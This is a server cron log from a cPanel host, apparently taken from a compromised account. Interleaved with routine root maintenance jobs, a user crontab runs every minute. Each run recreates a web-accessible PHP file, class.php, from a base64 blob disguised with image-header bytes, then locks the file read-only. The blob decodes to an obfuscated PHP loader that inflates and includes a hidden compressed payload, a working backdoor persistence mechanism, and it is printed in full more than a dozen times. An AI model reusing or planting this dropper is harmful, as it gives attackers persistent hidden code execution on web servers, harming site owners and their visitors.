Nov 14 11:57:01 server CROND[4811]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:58:01 server CROND[5771]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:59:01 server CROND[6688]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:00:01 server CROND[7556]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 12:00:01 server CROND[7558]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 14 12:00:01 server CROND[7559]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Nov 14 12:00:01 server CROND[7562]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 12:00:01 server CROND[7564]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 12:00:01 server CROND[7560]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:01:01 server CROND[8508]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:01:01 server CROND[8509]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 12:01:02 server run-parts(/etc/cron.hourly)[8509]: starting 0anacron
Nov 14 12:01:02 server run-parts(/etc/cron.hourly)[8521]: finished 0anacron
Nov 14 12:02:01 server CROND[9457]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:03:01 server CROND[10424]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:04:01 server CROND[11327]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:05:01 server CROND[12201]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 12:05:01 server CROND[12202]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 12:05:01 server CROND[12203]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:05:01 server CROND[12206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 12:06:01 server CROND[13123]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:07:01 server CROND[14030]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:08:01 server CROND[14999]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:09:01 server CROND[15702]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 12:09:01 server CROND[15703]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 12:10:01 server CROND[15917]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
